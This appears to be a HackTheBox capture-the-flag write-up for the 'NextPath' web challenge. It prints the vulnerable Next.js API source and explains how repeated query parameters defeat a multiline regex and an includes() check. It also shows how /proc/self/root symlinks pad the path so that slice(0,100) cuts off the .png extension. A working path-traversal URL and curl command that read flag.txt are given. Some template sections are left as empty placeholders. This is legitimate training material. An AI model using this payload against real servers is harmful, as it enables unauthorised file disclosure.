← Back to Writeups
HTBN/AWeb

NextPath

XESXOR8/23/20264 min read
#web#htb#n/a

NextPath

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-27 | Status: Solved Techniques: array_vs_string_includes, nextjs_query_array_parsing, path_length_padding_with_procfs_symlinks, png_extension_truncation_via_slice, regex_multiline_bypass

Summary

Task: Next.js 13.4.5 API endpoint with regex validation and path traversal checks. Solution: bypass all three checks using array query parameter — multiline regex matches first element, Array.includes differs from String.includes, and procfs symlinks pad path length to truncate .png extension via slice(0,100).

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260327_hackthebox_nextpath
  • Tags: lfi, path_traversal, nextjs, regex_bypass, multiline_regex, array_type_confusion, procfs_symlink, slice_truncation
  • Indicators: Next.js API route with query parameter, regex with /m multiline flag, filepath.slice() truncation, path.join with user input, includes() check on potentially array input
  • Source: 20260327_hackthebox_nextpath.md

Foothold

Vulnerability / Misconfiguration

  1. Array_vs_string_includes
  2. Nextjs_query_array_parsing
  3. Path_length_padding_with_procfs_symlinks
  4. Png_extension_truncation_via_slice
  5. Regex_multiline_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • array_vs_string_includes
  • nextjs_query_array_parsing
  • path_length_padding_with_procfs_symlinks
  • png_extension_truncation_via_slice
  • regex_multiline_bypass
  • Tags: lfi, path_traversal, nextjs, regex_bypass, multiline_regex, array_type_confusion, procfs_symlink, slice_truncation

Original Writeup

<details><summary>Click to expand original content</summary>

NextPath — HackTheBox

Description

Find the next path in your career or even some vulnerabilities along the way. Anyway, good luck on your travels!

A Next.js 13.4.5 web application with a vulnerable API endpoint at /api/team that serves team member images. The endpoint has three security checks that can all be bypassed simultaneously using a single technique.

Analysis

Source Code (pages/api/team.js)

import path from 'path';
import fs from 'fs';

const ID_REGEX = /^[0-9]+$/m;

export default function handler({ query }, res) {
  if (!query.id) {
    res.status(400).end("Missing id parameter");
    return;
  }
  // Check format
  if (!ID_REGEX.test(query.id)) {
    console.error("Invalid format:", query.id);
    res.status(400).end("Invalid format");
    return;
  }
  // Prevent directory traversal
  if (query.id.includes("/") || query.id.includes("..")) {
    console.error("DIRECTORY TRAVERSAL DETECTED:", query.id);
    res.status(400).end("DIRECTORY TRAVERSAL DETECTED?!? This incident will be reported.");
    return;
  }
  try {
    const filepath = path.join("team", query.id + ".png");
    const content = fs.readFileSync(filepath.slice(0, 100));
    res.setHeader("Content-Type", "image/png");
    res.status(200).end(content);
  } catch (e) {
    console.error("Not Found", e.toString());
    res.status(404).end(e.toString());
  }
}

Three Vulnerabilities Identified

1. Regex Multiline Bypass (/^[0-9]+$/m)

The regex uses the m (multiline) flag, which makes ^ and $ match the start/end of each line rather than the entire string. When query.id is an array like ["1\n", "../../../../...flag.txt"], calling ID_REGEX.test(array) converts the array to a string "1\n,../../../../...flag.txt". The multiline regex matches "1" on the first line and passes.

2. Array.prototype.includes vs String.prototype.includes

When query.id is an array, id.includes("/") calls Array.prototype.includes, which checks if any element is strictly equal to "/". Since no element is exactly "/" or ".." (they contain these characters but aren't equal to them), both checks pass. This is fundamentally different from String.prototype.includes which checks for substrings.

3. filepath.slice(0, 100) truncates .png extension

The code appends .png to the id and then slices the path to 100 characters. By crafting a path that is exactly 104 characters after path.join normalization, the .png extension (4 chars) gets truncated by slice(0, 100), leaving a clean path ending in flag.txt.

Path Length Engineering

The key challenge was making the normalized path exactly 104 characters. path.join normalizes away redundant ../ components, so the path "../flag.txt.png" is only 15 characters. The solution uses Linux procfs symlinks that path.join doesn't resolve (it does string manipulation, not filesystem resolution):

  • /proc/self/root → symlink to / (15 chars with trailing /)
  • /proc/thread-self/root → symlink to / (22 chars with trailing /)

The math:

  • "../" = 3 chars
  • "proc/self/root/" × 3 = 45 chars
  • "proc/thread-self/root/" × 2 = 44 chars
  • "flag.txt.png" = 12 chars
  • Total: 104 chars

After slice(0, 100), the .png is removed.

At runtime, the OS resolves the symlinks: /proc/self/root/proc/self/root/.../flag.txt/flag.txt.

Solution

Exploit URL

/api/team?id=1%0a&id=../../../../proc/self/root/proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/flag.txt

Next.js parses repeated query parameters as an array:

query.id = ["1\n", "../../../../proc/self/root/proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/flag.txt"]

Exploit Command

curl "http://TARGET:PORT/api/team?id=1%0a&id=..%2F..%2F..%2F..%2Fproc%2Fself%2Froot%2Fproc%2Fself%2Froot%2Fproc%2Fself%2Froot%2Fproc%2Fthread-self%2Froot%2Fproc%2Fthread-self%2Froot%2Fflag.txt"

Bypass Summary

CheckExpected InputActual Input (Array)Why It Passes
/^[0-9]+$/m.test(id)String["1\n", "../../..."]"1\n,../../..."Multiline regex matches "1" on first line
id.includes("/")StringArrayArray.includes checks for exact element match, not substring
id.includes("..")StringArraySame as above
filepath.slice(0,100)Short path104-char pathTruncates .png extension
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR